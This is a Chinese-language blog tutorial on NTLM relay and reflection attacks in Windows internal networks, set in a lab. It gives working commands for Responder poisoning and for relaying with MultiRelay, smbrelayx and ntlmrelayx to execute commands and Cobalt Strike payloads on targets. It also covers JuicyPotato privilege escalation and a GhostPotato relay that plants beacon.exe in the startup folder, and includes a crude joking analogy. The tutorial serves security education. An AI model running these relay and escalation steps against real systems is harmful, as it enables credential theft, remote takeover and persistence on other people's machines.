内网渗透--NTLM中继与反射浅析

内网渗透–NTLM中继与反射浅析

文章首发: 跳跳糖社区 https://tttang.com/archive/1548/

前言

本章主要介绍NTLM中继和反射


NTLM 中继

给大家打个比方嗷

  1. SMB欺骗

有一个可爱JK妹妹,她喜欢你们学校的门卫大爷刘大壮。但是她记错了名字,记成了刘福腿。她先翻了学校公示栏的学生信息表,发现找不到刘福腿,然后就去学校领导办公室翻学生名册也找不到。这个时候她急了急了,就去学校广播站拿个大喇叭喊:“刘福腿,刘福腿,nia妈妈买了两罐忘崽溜赖要给nia”。这个时候整个校园的人都听到了,然后你起了歹心,想要独吞两罐忘崽溜赖。跑去和妹子说:”俺是刘福腿”.这时候你伪造了一个定情信物qweqasdqasdqdq给妹子。妹子再拿出她的定情信物her54568e ,和你的定情信物加密一下后返还给我。这个时候我就拿到了我自己和妹子双方信息加密后的凭证。此凭证只能用来破解出妹子的定情信物,这时候拿工具跑运气好就跑出明文密码了。

  1. NTLM中继

书接上文,这个时候你忽然知道了对方喜欢的是门卫大爷刘大壮!但是记错了名字。因为他两从小青梅竹马,但搬家分开了十几年忘记了名字。这个时候拿刘大壮的定情信物给JK妹妹去加密,加密后的凭证返还给刘大壮。刘大壮拿到后会进行对比,如果对比正确妹子就可以控制刘大壮的心了!但是这里存在一个问题,只有拿刘大壮本人的定情信物去加密才可以。这时候你就要跟刘大壮说我是JK妹妹,要和你发起认证。刘大壮就把加密密钥发给我了,随后我把密钥发给JK妹妹。JK妹妹拿到后加密自己凭证再发给我,这时候就拿到了刘大壮和JK妹妹的信物加密凭证了,就可以尝试去控制刘大壮了!**(男♂同竟在我身边)**

PS:适合梦里想想,但是撞上来的不一定是JK妹妹,也可能是隔壁村的饭堂大妈。

SMB协议和欺骗

SMB概述

SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。SMB使用了NetBIOS的应用程序接口 (ApplicationProgram Interface,简称API),一般端口使用为139,445。

SMB协议是一个很重要的协议,目前绝大多数的PC上都在运行这一协议,windows系统都充当着SMB协议的客户端和服务器,所以SMB是一个遵循客户机服务器模式的协议。SMB服务器负责通过网络提供可用的共享资源给SMB客户机,服务器和客户机之间通过TCP/IP协议、或者IPX协议、或者是NetBEUI进行连接。

SMB是应用层(和表示层)协议,使用C/S架构,其工作的端口与其使用的协议有关

当远程连接计算机访问共享资源时有两种方式:

  • 共享计算机地址\共IP享资源路径

  • 共享计算机名\共享资源路径

域环境底下域用户的账号密码 Hash 保存在域控的 ntds.dit 里面。如下没有限制域用户登录到某台机子,那就可以将该域用户 Relay 到别人的机子,或者是拿到域控的请求,将域控 Relay 到普通的机子,比如域管运维所在的机子。

  • 域普通用户 != 中继
  • 域管 == 中继
  • 域普通用户+域管理员组 == 中继

工具介绍

Responder

在攻防领域,欺骗从来都是技术热点区域,不管是攻守双方均会使用欺骗来进行技术上的对抗,对于防守方来说,蜜罐就是欺骗防御的代表安全产品,而对于攻击方来说,钓鱼网页、鱼叉附件等欺骗手段更是家常便饭。在内网攻防中,responder就是一个不得不说的工具,就连“攻击方天花板”—-大名鼎鼎的APT组织也有使用过该款工具,有证据表明,俄罗斯的APT组织--APT28曾经使用过这款工具进行APT攻击

APT-28:https://attack.mitre.org/groups/G0007/

安装Responder

Responder在kali中已经内置,但版本更新可能不及时,最好自己进行下载更新
先配置好生成工具等环境

  • apt 安装

    1
    apt-get install build-essential git python-dev
  • 从github下载源码

    1
    2
    3
    git clone https://github.com/lgandx/Responder.git
    cd Resopnder/
    git pull

Responder设置

配置Kali中Responder配置文件
路径:

1
vim /usr/share/responder/Responder.conf

设置 CaptureMultipleCredentials=On,并把对应协议的 server 监听服务打开

默认不打开

Responder参数

Responder的运行参数

Resopnder有很多参数:

1
2
3
-I  # 设置监听的网络接口,`eth0`
-f # 收集NBT_NS或LLMNR的信息
-w # 设置WPAD服务器

快捷指令

1
responder -wfF -I eth0 # 开始毒化(已黑化),监听所有请求信息

SMB 中继 攻击演示

server 2008: 192.168.91.11
win10: 192.168.91.177
win7: 192.168.91.128
kali: 192.168.91.184

0x001 初始访问

首先从最简单的一个场景来演示,进行最简单的中继拿hash

拓扑图演示

开启 Responder 准备嗅探

1
responder -I eth0(默认网卡)

在 192.168.91.128 上访问共享

可能弹出一个访问凭据,之后我们看到responder已经嗅探到了NTLMv2 hash


0x002 MultiRelayx.py 拿下shell

下面我们利用Impacket套件中的MultiRelay.py脚本进行中继攻击

在此之前先用responder工具包里面的RunFinger.py脚本进行扫描(推荐使用fscan)。来查看域内机器SMB签名的开放情况

发现 SMB 签名都已禁用了,接下来开始 Hack

1
python3 MultiRelay.py -t <ip> -u ALL

现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下 Responder.conf 脚 本,不让其对 hash 进行抓取

重启 Responder.py,准备毒化

1
responder -I eth0

此时我们在DC上传递一个SMB流量,随便什么都可以

我们看到已经拿到了 shell ,那么操作空间就大了很多。

,比如 Mimikatz 导出密码等,或者是横向移动,在此只是演示中继手法,大家可以自行拓展。 这里就试试看上线吧。


0x003 smbrelayx.py 中继攻击

还是Impacket中的脚本,我们浅析一下原理:

伪造一个我们恶意的SMB服务器,当内网中有机器访问这个我们精心构造好的SMB服务器时, smbrelayx.py 将抓到 Client1hash ,然后 smbrelayx.py 用抓取到的 Client1hash 重 放给 Client2 ,重放成功则会导出 Client2 本地的用户和 hash

实验拓扑图

首先还是先关闭 responder.conf 中的 SMBhttp ,让 smbrelayx.py 脚本来完成任务,这里我提前生成了一个 CS 的 shell.exe (当然免杀需自行处理),不要 shell 的话完全可以省略 payload ,直接:

1
2
cd /usr/share/responder/tools # CD 到smb重放工具目录下
smbrelayx.py -h <Client2 ip> -c <命令>

CS上线

1
2
cd /usr/share/responder/tools # CD 到smb重放工具目录下
smbrelayx.py -h <Client2 ip> -e ./shell.exe

让任意主机访问这个攻击者精心构造好的 SMB 服务器,此时在 192.168.1.177 命令行下键入

1
net use \\<kali IP>

如果输入过几次后出现缓存,DC不发包后可以尝试在文件管理器中访问

此时,攻击者的 smbrelayx 脚本上就会发现命令成功执行了

用 -e 选项会在目标主机上传并运行我们的 payload,执行上线。因为是发送一次smb 请求执行一次 所以弹了好几个shell回来…


0x004 ntlmrelayx.py 中继

还是 Impcaket examples 中的脚本,ntlmrelayx.py 直接用现有的 hash 去尝试重放指定机器 上的指定服务(需同样关闭 responder 的 smb 和 http) 过程不在赘述

1
ntlmrelayx.py -t <Client ip> -c whoami -smb2support

诱导域管理员或普通域用户访问攻击机搭建的伪造 HTTP 或 SMB 服务,并输入用户名密码:

攻击者的 ntlmrelayx 上面即可显示成功在目标上执行命令

CS上线

我们可以利用这个技巧执行 POWERSHELL command 上线 CS

1
ntlmrelayx.py -t <Client ip> -c '生成的powershell脚本内容'

点击攻击生成payload

选择 Powershell Command

拼凑一下代码开启服务

执行过程过于漫长..但也算是成功了


NTLM 反射

当我们有了 NTLM 中继的知识点,学习 NTLM 反射就很简单了,可以理解为:
攻击者通过一定的方法使得 Client 与自己进行认证,然后将 Client 发送过来的 Credential 转发回 Client 自身,从而攻击 Client(你也可以认为此时的 Client 也相当于是一台 Server)。早年出现的 SMBRelay 攻击方案就是这种方法。

原理讲解

SeAssignPrimaryTokenPrivilege 权限

  1. System帐号(也叫LocalSystem)的交互服务与非交互服务初始特权都一样

  2. 非System帐号的特权数一样(与具体帐号有关),只是做为服务的程序大部分特权初始都是关闭的,需要服务自己根据需要打开(Enable)

  3. System帐号的特权比Administrator帐号多出几个特权:SeAssignPrimaryTokenPrivilegeSeLockMemoryPrivilegeSeTcbPrivilegeSeCreatePermanentPrivilegeSeAuditPrivilege;但 Administrator 帐号多了一个SeRemoteShutdownPrivilege 特权

  4. 除了System帐号,其他帐号是不可能运行在TCB中的

如何利用

  1. 利用Potato提权的是前提是拥有 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege权限,以下用户拥有SeImpersonatePrivilege权限:

    • 本地管理员账户(不包括管理员组普通账户)和本地服务账户
  2. Windows服务的登陆账户

    • Local System(NT AUTHORITY\SYSTEM)

    • Network Service(NT AUTHORITY\Network Service)

    • Local Service(NT AUTHORITY\Local Service)

也就是说提权方向应该是:

1
2
Administrator ——> SYSTEM
Service ——> SYSTEM

服务账户在 windows 权限模型中本身就拥有很高的权限
在实际渗透过程中,拿到 webshell 下,用户权限是 IIS 或者 apache,或通过SQLi执行 xp_cmdshell ,此时手里的服务账户在进行操作时是低权限账户,而使用该提权手法可以直接获取 SYSTEM 权限。

  1. windows token

windows token 是描述安全上下文的对象,用户登陆后系统就会生成 token,创建新进程或新线程时这个token会不断口碑

1
2
3
4
5
6
7
8
9
10
用户账户的(SID)
用户所属的组的SID
用于标识当前登陆会话的登陆SID
用户或用户组所拥有的权限列表
所有者SID
所有者组的SID
访问控制列表
访问令牌的来源
主令牌/模拟令牌
限制SID的可选列表

当用户具有SeImpersonatePrivilege特权,则可以调用CreateProcessWithTokenW时以某个Token的权限启动新进程
当用户具有SeAssignPrimaryTokenPrivilege特权,则可以调用CreateProcessAsUserWToken权限启动新进程


历史土豆分析

这里就举几个例子,后面开坑来专门详细分析

Origin Potato_MS08-068

漏洞详情:

Microsoft Server Message Block (SMB) 协议中一个公开披露的漏洞。该漏洞可能允许在受影响的系统上执行远程代码。成功利用此漏洞的攻击者可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新账户。

在漏洞修复之前,当拿到用户的 smb 请求之后,最直接的就是把请求 Relay 回用户本身,即 Reflect。从而控制机子本身。

Microsoft 知识库文章 957097 记录了客户在安装此安全更新时可能遇到的当前已知问题。

出现这个问题的原因是NT LAN Manager (NTLM)将不同的命名约定视为远程实体而不是本地实体。当客户端在将响应发送回服务器之前,在本地 “lsass “内存中计算并缓存服务器发送的NTLM挑战的正确响应时,可能会发生本地验证失败。当NTLM的服务器代码在本地“ lsass”缓存中找到接收到的响应时,该代码将不接受身份验证请求,并将其视为重播攻击。此行为导致本地身份验证失败。

简单的来说:

主机 A 向主机 B(访问 \\B) 进行 SMB 认证的时候,将 pszTargetName 设置为 cifs/B, 然后在 type 2 拿到主机 B 发送 Challenge 之后,在 lsass 里面缓存 (Challenge,cifs/B)。

然后主机 B 在拿到主机 A 的 type 3 之后,会去查看 lsass 里面有没有缓存 (Challenge,cifs/b),如果存在缓存,那么认证失败。

这种情况底下,如果主机 B 和主机 A 是不同的主机的话,那 lsass 里面就不会缓存 (Challenge,cifs/B)。如果是同一台主机的话,那 lsass 里面肯定有缓存,这个时候就会认证失败。

常用工具:

https://github.com/ohpe/juicy-potato

常用命令:

1
2
3
JuicyPotato -p "whoami /priv"

JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

如果用户具有 SeImpersonateSeAssignPrimaryToken 特权,那么提权后就是 SYSTEM

CVE-2019-1384_Ghost potato

相关文章

这个漏洞绕过了 MS08-068 之后,用户不能 relay 回本机的限制。

ghostpotato-利用工具

主机A向主机B(访问\\B)进行SMB认证的时候,将 pszTargetName 设置为 cifs/B ,然后在type 2拿到主机B发送 Challenge 之后,在 lsass 里面缓存( Challenge , cifs/B )。

然后主机B在拿到主机A的type 3之后,会去 lsass 里面有没有缓存( Challenge , cifs/b ),如果存在缓存,那么认证失败。

这种情况底下,如果主机B和主机A是不同的主机的话,那 lsass 里面就不会缓存(Challenge,cifs/B)。如果是同一台主机的话,那 lsass 里面肯定有缓存,这个时候就会认证失败。

然而这个缓存(Challenge,cifs/B)是有时效性的,这个时间是300秒,也就是说300秒后,缓存(Challenge,cifs/B)就会被清空,这个时候即使主机A和主机B是同一台主机,那么由于缓存已经被清除,那么去 lsass 里面肯定找不到缓存(Challenge, cifs/B )。

1
2
3
4
5
cd impacket-ghostpotato
pip uninstall impacket
pip install .
cd examples
python3 ntlmrelayx.py -t smb://192.168.91.2 -smb2support --gpotato-startup beacon.exe(内容)

1
responder -I eth0 --lm

使用 IE 浏览器进行访问

经过 315 秒后 POC 会自动上传文件到 WIndows 启动目录,用户下次登录时自启动

Poc提供两个上传路径


总结

本次我们学习了以下知识点

  • NTLM中继
    • SMB欺骗和NTLM欺骗
    • Responder 工具介绍以及利用
  • NTLM反射
    • 原理讲解
    • 土豆家族浅析

扩展阅读


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!